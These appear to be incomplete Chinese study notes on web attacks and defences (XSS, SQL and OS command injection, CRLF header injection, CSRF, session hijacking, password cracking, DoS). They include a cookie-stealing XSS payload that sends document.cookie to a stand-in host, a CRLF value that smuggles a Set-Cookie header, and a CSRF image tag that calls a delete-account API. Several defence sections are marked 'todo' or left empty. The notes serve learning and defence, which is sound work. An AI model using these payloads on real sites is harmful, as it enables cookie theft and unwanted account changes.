web安全
对web的攻击可分为两大类:
- 主动攻击
该类攻击是攻击者直接对web服务器上的资源进行攻击,最具代表性的是SQL注入攻击和OS攻击及DDOS攻击。 - 被动攻击
攻击者不直接对服务器发起攻击,事先设置好雷区,等待雷区被触发,具有代表性的有跨站脚本攻击和跨站点请求伪造。
因输出值转义不完全引起的安全漏洞
xss 跨站脚本攻击
攻
Cross SiteScript,跨站脚本攻击,又称css攻击。
其核心思路就是将恶意html代码注入到目标网站中(如<script type="text/javascript">alert('boom!')</script>),所以经常发生在动态生成html的场景下。
攻击成功后可以做的事情有很多,比如将cookie发送出去,URL跳转等。
只要有用户输入的地方,数据存储时没有对其进行处理,用到改数据的页面都有可能受到XSS攻击(对于script的攻击方式,数据以直接拍到页面的方式才会使攻击生效,ajax请求到数据再通过mvvm框架渲染的方式是不会触发脚本的执行的。但,XSS攻击不仅仅局限于script)
XSS的危害
- 利用虚假表单骗取用户个人信息
- 窃取用户cookie
拿微博举例,如果某人发了一段包含<script>window.open(“www.aa.com?param=”+document.cookie)</script>的微博,且XSS攻击成功,那么看到该微博的人都会受到攻击,其cookie被发送至www.aa.com
防
- 对用户输入的<>""''/&等字符进行转码
- 对关键cookie进行http-only设置,这样js就失去了访问cookie的能力
SQL注入攻击
攻
在web应用对数据库的查询,添加,删除等操作环节,请求参数参与SQL语句生成,对于调用SQL语句的拼接环节存在疏忽,产生SQL注入攻击。
危害
- 非法查看无权限数据
- 删除数据
举例:todo
防
todo
OS命令注入攻击
攻
web应用可以通过shell调用系统命令,因此如果在调用时存在疏忽,就有可能执行了不被期望的OS命令。
危害
防
http首部注入攻击
%0D%0A代表HTTP报文中的换行符。比如在响应头中的Location:www.a.com/aa?id=999
添加为Location:www.a.com/aa?id=999%0D%0ASet-Cookie: xxxx
,那么就会多出一个set-cookie响应头。此外,连续出现两次%0D%0标志着http头部与主体的分离,同样可以利用这个来修改响应主体。
攻
指的是攻击者通过在响应头部字段中插入换行,添加任意响应首部的一种攻击
危害
- 设置任意cookie(利用Set-Cookie头)
- 重定向至任意url(location头)(如果status为200但是有location会怎么样)
防
话管理疏忽引起的安全漏洞
会话劫持
攻
通过手段拿到用户的会话id并以此id伪装为用户de攻击。
危害
防
跨站点请求伪造CSRF(cross-site request Forgery)
攻
指攻击者通过事先设定好的陷阱,在用户不知道的情况下发起对某些站点的请求,从而达到修改用户在目标网站里的数据的攻击。
如在a.com里有个<img src="b.com/account/delete" />的标签,此时用户访问a站点时就向b发起了delete请求,假设该接口就是b站点的删除帐号api,且b用户恰恰刚访问了b站点不久,还存有未过期的cookie,那就惨了。
危害
- 修改用户在目标站点的数据。
防
- cookie的有效期尽量缩短
- 服务器判断referer
其他安全漏洞
密码破解
攻
- 字典攻击
事先收集好一组候选密码一一尝试
- 穷举攻击
如银行密码是四位数字,则穷举即可。
危害
防
DoS(Denial of Service)攻击
链接描述
一种让运行中的服务器呈停止中的攻击
分布式的多台计算机发起的dos攻击称为ddos(distributed Denial of Service)攻击
攻
在第三次握手环节耍流氓不响应服务器,造成tcp半连接状态。不停地发送syn握手,就会造成服务器资源大大消耗。
或者tcp全连接,但是每个连接都不释放,最终达到服务器上限,瘫痪
1.制造大流量无用数据,造成通往被攻击主机的网络拥塞,使被攻击主机无法正常和外界通信。
2.利用被攻击主机提供服务或传输协议上处理重复连接的缺陷,反复高频的发出攻击性的重复服务请求,使被攻击主机无法及时处理其它正常的请求。
3.利用被攻击主机所提供服务程序或传输协议的本身实现缺陷,反复发送畸形的攻击数据引发系统错误的分配大量系统资源,使主机处于挂起状态甚至死机。
危害
直接使服务器挂掉,影响了公司服务正常运转
防
- 提高服务器带宽,性能等
- 硬件防火墙专门过滤恶意来源的请求
- ng设置黑名单
location / { deny 1.2.3.4; }
- 上cdn